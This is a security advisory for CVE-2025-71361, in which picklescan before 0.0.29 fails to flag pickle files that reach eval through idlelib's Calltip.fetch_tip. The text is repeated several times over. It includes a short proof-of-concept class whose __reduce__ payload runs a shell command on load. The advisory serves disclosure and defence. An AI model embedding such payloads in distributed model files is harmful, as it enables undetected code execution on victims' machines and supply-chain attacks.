CVE-2025-71361

picklescan before 0.0.29 fails to detect malicious idlelib.calltip.Calltip.fetch_tip calls in pickle files, allowing remote code execution. Attackers can embed undetected payloads in pickle files that execute arbitrary code when loaded via pickle.load().

picklescan before 0.0.29 fails to detect malicious idlelib.calltip.Calltip.fetch_tip calls in pickle files, allowing remote code execution. Attackers can embed undetected payloads in pickle files that execute arbitrary code when loaded via pickle.load().

Summary

Using idlelib.calltip.Calltip.fetch_tip, which is a built-in python library function to execute remote pickle file.

Details

The attack payload executes in the following steps:

First, the attacker craft the payload by calling to idlelib.calltip.Calltip.fetch_tip function in reduce method Then when the victim after checking whether the pickle file is safe by using Picklescan library and this library doesn't dectect any dangerous functions, decide to pickle.load() this malicious pickle file, thus lead to remote code execution.

PoC

class EvilCalltipFetchTip:
    def __reduce__(self):
        from idlelib.calltip import Calltip
        # fetch_tip(expression) -> get_entity(expression) -> eval(expression)
        return Calltip().fetch_tip, ("__import__('os').system('whoami')",)

Impact

Who is impacted? Any organization or individual relying on picklescan to detect malicious pickle files inside PyTorch models. What is the impact? Attackers can embed malicious code in pickle file that remains undetected but executes when the pickle file is loaded. Supply Chain Attack: Attackers can distribute infected pickle files across ML models, APIs, or saved Python objects.

Corresponding

https://github.com/FredericDT https://github.com/Qhaoduoyu

picklescan before 0.0.29 fails to detect malicious idlelib.calltip.Calltip.fetch_tip calls in pickle files, allowing remote code execution. Attackers can embed undetected payloads in pickle files that execute arbitrary code when loaded via pickle.load().

picklescan before 0.0.29 fails to detect malicious idlelib.calltip.Calltip.fetch_tip calls in pickle files, allowing remote code execution. Attackers can embed undetected payloads in pickle files that execute arbitrary code when loaded via pickle.load().

Summary

Using idlelib.calltip.Calltip.fetch_tip, which is a built-in python library function to execute remote pickle file.

Details

The attack payload executes in the following steps:

First, the attacker craft the payload by calling to idlelib.calltip.Calltip.fetch_tip function in reduce method Then when the victim after checking whether the pickle file is safe by using Picklescan library and this library doesn't dectect any dangerous functions, decide to pickle.load() this malicious pickle file, thus lead to remote code execution.

PoC

class EvilCalltipFetchTip:
    def __reduce__(self):
        from idlelib.calltip import Calltip
        # fetch_tip(expression) -> get_entity(expression) -> eval(expression)
        return Calltip().fetch_tip, ("__import__('os').system('whoami')",)

Impact

Who is impacted? Any organization or individual relying on picklescan to detect malicious pickle files inside PyTorch models. What is the impact? Attackers can embed malicious code in pickle file that remains undetected but executes when the pickle file is loaded. Supply Chain Attack: Attackers can distribute infected pickle files across ML models, APIs, or saved Python objects.

Corresponding

https://github.com/FredericDT https://github.com/Qhaoduoyu

Summary

Using idlelib.calltip.Calltip.fetch_tip, which is a built-in python library function to execute remote pickle file.

Details

The attack payload executes in the following steps:

First, the attacker craft the payload by calling to idlelib.calltip.Calltip.fetch_tip function in reduce method Then when the victim after checking whether the pickle file is safe by using Picklescan library and this library doesn't dectect any dangerous functions, decide to pickle.load() this malicious pickle file, thus lead to remote code execution.

PoC

class EvilCalltipFetchTip:
    def __reduce__(self):
        from idlelib.calltip import Calltip
        # fetch_tip(expression) -> get_entity(expression) -> eval(expression)
        return Calltip().fetch_tip, ("__import__('os').system('whoami')",)

Impact

Who is impacted? Any organization or individual relying on picklescan to detect malicious pickle files inside PyTorch models. What is the impact? Attackers can embed malicious code in pickle file that remains undetected but executes when the pickle file is loaded. Supply Chain Attack: Attackers can distribute infected pickle files across ML models, APIs, or saved Python objects.

Corresponding

https://github.com/FredericDT https://github.com/Qhaoduoyu